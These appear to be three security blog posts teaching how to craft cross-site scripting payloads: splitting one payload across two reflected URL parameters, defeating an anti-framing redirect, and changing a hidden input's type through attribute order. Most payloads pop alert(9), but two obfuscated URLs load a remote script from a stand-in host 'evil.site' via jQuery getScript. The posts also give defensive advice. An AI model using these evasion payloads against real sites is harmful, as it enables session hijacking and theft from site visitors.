• A common theme among injection attacks that manifest within a JavaScript context (e.g. <script> tags) is that proper payloads preserve proper syntax. We’ve belabored the point of this dark art with such dolorous repetition that even Professor Umbridge might approve.

    We’ve covered the most basic of HTML injection exploits, exploits that need some tweaking to bypass weak filters, and different ways of constructing payloads to preserve their surrounding syntax. The typical process is choose a parameter (or a cookie!), find if and where its value shows up in a page, hack the page. It’s a single-minded purpose against a single injection vector.

    Until now.

    It’s possible to maintain this single-minded purpose, but to do so while focusing on two variables. This is an elusive beast of HTML injection in which an app reflects more than one parameter within the same page. It gives us more flexibility in the payloads, which sometimes helps evade certain kinds of patterns used in input filters or web app firewall rules.

    This example targets two URL parameters used as arguments to a function that expects the start and end of a time period. Forget time, we’d like to start an attack and end with its success.

    Here’s a version of the link with numeric arguments: https://web.site/TimeZone.aspx?start=1&end=2

    The app uses these values inside a <script> block, as follows:

    var start = 1, end = 2;
    
    $(JM.Scheduler.TimeZone.init(start, end)); foo.init();
    

    The “normal” attack is simple:

    https://web.site/TimeZone.aspx?start=alert(9);//&end=2

    This results in a successful alert(), but the app has some sort of silly check that strips the end value if it’s not greater than the start. Thus, you can’t have start=2&end=1. And the comparison always fails if you use a string for start, because end will never be greater than whatever the string is cast to (likely zero). At least the devs remembered to enforce numeric consistency in spite of security deficiency.

    var start = alert(9);//, end = ;
    
    $(JM.Scheduler.TimeZone.init(start, end)); foo.init();
    

    But that’s inelegant compared with the attention to detail we’ve been advocating for exploit creation. The app won’t assign a value to end, thereby leaving us with a syntax error. To compound the issue, the developers have messed up their own code, leaving the browser to complain:

    ReferenceError: Can't find variable: $

    Let’s see what we can do to help. For starters, we’ll just assign start to end (internally, the app has likely compared a string-cast-to-number with another string-cast-to-number, both of which fail identically, which lets the payload through). Then, we’ll resolve the undefined variable for them – but only because we want a clean error console upon delivering the attack.

    https://web.site/TimeZone.aspx?start=alert(9);//&end=start;$=null

    var start = alert(9);//, end = start;$=null;
    
    $(JM.Scheduler.TimeZone.init(start, end)); foo.init();
    

    What’s interesting about “two factor” vulns like this is the potential for using them to bypass validation filters.

    https://web.site/TimeZone.aspx?start=window["ale"/*&end=*/%2b"rt"](9)

    var start = window["ale"/* end = */+"rt"](9);
    
    $(JM.Scheduler.TimeZone.init(start, end)); foo.init();
    

    Rather than think about different ways to pop an alert() in someone’s browser, think about what could be possible if jQuery was already loaded in the page. Thanks to JavaScript’s design, it doesn’t even hurt to pass extra arguments to a function:

    https://web.site/TimeZone.aspx?start=$["getSc"%2b"ript"]("https://evil.site/"&end=undefined)

    var start = $["getSc"+"ript"]("https://evil.site/", end = undefined);
    
    $(JM.Scheduler.TimeZone.init(start, end)); foo.init();
    

    And if it’s necessary to further obfuscate the payload we might try this:

    https://web.site/TimeZone.aspx?start=%22getSc%22%2b%22ript%22&end=$[start]%28%22//evil.site/%22%29

    var start = "getSc"+"ript", end = $[start]("//evil.site/");
    
    $(JM.Scheduler.TimeZone.init(start, end)); foo.init();
    

    Maybe combining two parameters into one attack reminds you of the theme of two hearts from 80s music. Possibly U2’s War from 1983. I never said I wasn’t gonna tell nobody about a hack like this, just like that Stacey Q song a few years later – two of hearts, two hearts that beat as one. Or Phil Collins’ Two Hearts three years after that.

    Although, if you forced me to choose between two hearts that beat as one, I’d choose a Timelord, of course. In particular, someone that preceded all that music: Tom Baker.

    Jelly Baby, anyone?

    Tom Baker

    • • •
  • SummaLogicae

    It is on occasion necessary to persuade a developer that an HTML injection vuln capitulates to exploitation notwithstanding the presence within of a redirect that conducts the browser away from the exploit’s embodied alert(). Sometimes, parsing an expression takes more effort that breaking it.

    Turn your attention from defeat to the few minutes of creativity required to adjust an unproven injection into a working one. Here’s the URL we start with:

    https://redacted/UnknownError.aspx?id="onmouseover=alert(9);a="

    The page reflects the value of this id parameter within an href attribute. There’s nothing remarkable about this payload or how it appears in the page. At least, not at first:

    <a href="mailto:support@redacted?subject=error ref: "onmouseover=alert(9);a="">
    support@redacted
    </a>
    

    Yet the browser goes into an infinite redirect loop without ever launching the alert. We explore the page a bit more to discover some anti-framing JavaScript where our URL shows up. (Bizarrely, the anti-framing JavaScript shows up almost 300 lines into the <body> element – well after several other JavaScript functions and page content. It should have been present in the <head>. It’s like the developers knew they should do something about clickjacking, heard about a top.location trick, and decided to randomly sprinkle some code in the page. It would have been simpler and more secure to add an X-Frame-Options header.)

    <script>
    if (window.top.location != 'https://redacted/UnknownError.aspx?id="onmouseover=alert(9);a="') {
        window.top.location.href = 'https://redacted/UnknownError.aspx?id="onmouseover=alert(9);a="';
    }
    </script>
    

    The URL in your browser bar may look exactly like the URL in the inequality test. However, the location.href property contains the URL-encoded (a.k.a. percent encoded) version of the string, which causes the condition to resolve to true, which in turn causes the browser to redirect to the new location.href. As such, the following two strings are not identical:

    https://redacted/UnknownError.aspx?id=%22onmouseover=alert(9);a=%22 https://redacted/UnknownError.aspx?id="onmouseover=alert(9);a="

    Since the anti-framing triggers before the browser encounters the affected href, the onmouseover payload (or any other payload inserted in the tag) won’t trigger.

    This isn’t a problem. Just redirect your onhack event from the href to the if statement. This step requires a little bit of creativity because we’d like the conditional to ultimately resolve false to prevent the browser from being redirected. It makes the exploit more obvious.

    JavaScript syntax provides dozens of options for modifying this statement. We’ll choose concatenation to execute the alert() and a Boolean operator to force a false outcome.

    The new payload is

    '+alert(9)&&null=='
    

    Which results in this:

    <script>
    if (window.top.location != 'https://redacted/UnknownError.aspx?id='+alert(9)&&null=='') {
        window.top.location.href = 'https://redacted/UnknownError.aspx?id='+alert(9)&&null=='';
    }
    </script>
    

    Note that we could have used other operators to glue the alert() to its preceding string. Any arithmetic operator would have worked.

    We used innocuous characters to make the statement false. Ampersands and equal signs are familiar characters within URLs. But we could have tried any number of alternates. Perhaps the presence of “null” might flag the URL as a SQL injection attempt. We wouldn’t want to be defeated by a lucky WAF rule. All of the following alternate tests return false:

    undefined == ''
    [] != ''
    [] === ''
    

    This example demonstrated yet another reason to pay attention to the details of an HTML injection vuln. The page reflected a URL parameter in two locations with execution different contexts. From the attacker’s perspective, we’d have to resort to intrinsic events or injecting new tags (e.g. <script>) after the href, but the if statement drops us right into a JavaScript context. From the defender’s perspective, we should have at the very least used an appropriate encoding on the string before writing it to the page – URL encoding would have been a logical step.

    • • •
  • Try parsing a web page some time. If you’re lucky, it’ll be “correct” HTML without too many typos. You might get away with using some regexes to accomplish this, but be prepared for complex elements and attributes. And good luck dealing with code inside <script> tags.

    HiddenShrineOfTamoachan

    Sometimes there’s a long journey between seeing the potential for HTML injection in a few reflected characters and crafting a successful exploit that bypasses validation filters and evades output encoding. Sometimes it’s necessary to explore the dusty passages of shrines to parsing standards in search of a hidden door that reveals an exploit path.

    HTML is messy. The history of HTML even more so. Browsers struggled for two decades with badly written markup, typos, quirks, mis-nested tags, and misguided solutions like XHTML. And they’ve always struggled with sites that are vulnerable to HTML injection.

    Every so often, it’s the hackers who struggle with getting an HTML injection attack to work. Here’s a common scenario in which some part of a URL is reflected within the value of an hidden input field. In the following example, note that the quotation mark has not been filtered or encoded.

    https://web.site/search?sortOn=x"

    <input type="hidden" name="sortOn" value="x"">
    

    If the site doesn’t strip or encode angle brackets, then it’s trivial to craft an exploit. In the next example we’ve even tried to be careful about avoiding dangling brackets by including a <z" sequence to consume it. A <z> tag with an empty attribute is harmless.

    https://web.site/search?sortOn=x"><script>alert(9)</script><z"

    <input type="hidden" name="sortOn" value="x"><script>alert(9)</script><z"">
    

    Now, let’s make this scenario trickier by forbidding angle brackets. If this were another type of input field, we’d resort to intrinsic events.

    <input type="hidden" name="sortOn" value="x"onmouseover=alert(9)//">
    

    Or, taking advantage of new HTML5 events, we’d use the onfocus event to execute the JavaScript rather than wait for a mouseover.

    <input type="hidden" name="sortOn" value="x"autofocus/onfocus=alert(9)//">
    

    The catch here is that the hidden input type doesn’t receive those events and therefore won’t trigger the alert. But it’s not yet time to give up. We could work on a theory that changing the input type would enable the field to receive these events.

    <input type="hidden" name="sortOn" value="x"type="text"autofocus/onfocus=alert(9)//">
    

    Fortunately, modern browsers won’t fall for this. And we have HTML5 to thank for it. Section 8 of the spec codifies the HTML syntax for all browsers that wish to parse it. From the spec, 8.1.2.3 Attributes:

    There must never be two or more attributes on the same start tag whose names are an ASCII case-insensitive match for each other.

    Okay, we have a constraint, but no instructions on how to handle this error condition. Without further instructions, it’s not clear how a browser should handle multiple attribute names. Ambiguity leads to security problems – it’s to be avoided at all costs.

    From the spec, 8.2.4.35 Attribute name state:

    When the user agent leaves the attribute name state (and before emitting the tag token, if appropriate), the complete attribute’s name must be compared to the other attributes on the same token; if there is already an attribute on the token with the exact same name, then this is a parse error and the new attribute must be dropped, along with the value that gets associated with it (if any).

    So, we’ll never be able to fool a browser by “casting” the input field to a different type with a subsequent attribute. Well, almost never. Notice the subtle qualifier: subsequent.

    (The messy history of HTML continues unabated by the optimism of a version number. The HTML Living Standard defines parsing rules in HTML Living Standard section 12. It remains to be seen how browsers handle the interplay between HTML5 and the Living Standard, and whether they avoid the conflicting implementations that led to quirks of the past.)

    Think back to our injection example. Imagine the order of attributes were different for the vulnerable input tag, with the name and value appearing before the type. In this case our “type cast” succeeds because the first type attribute is the one we’ve injected.

    <input name="sortOn"
        value="x"type="text"autofocus/onfocus=alert(9)//" type="hidden" >
    

    HTML5 design specs only get us so far before they fall under the weight of developer errors. The HTML Syntax rules aren’t a countermeasure for HTML injection. However, the presence of clear (at least compared to previous specs), standard rules shared by all browsers improves security by removing a lot of surprise from browsers’ behaviors.

    Unexpected behavior hides many security flaws from careless developers. Dan Geer addresses the challenge of dealing with the unexpected in his working definition of security as “the absence of unmitigatable surprise”.

    Look for flaws in modern browsers where this trick works, e.g. maybe a compatibility mode or not using an explicit <!doctype html> weakens the browser’s parsing algorithm. With luck, most of the problems you discover will be implementation errors fixbale within the affected browser rather than a design weakness in the spec.

    HTML5 gives us a better design that minimizes parsing-based security problems. It’s up to web developers to give us better sites that maximize the security of our data.

    • • •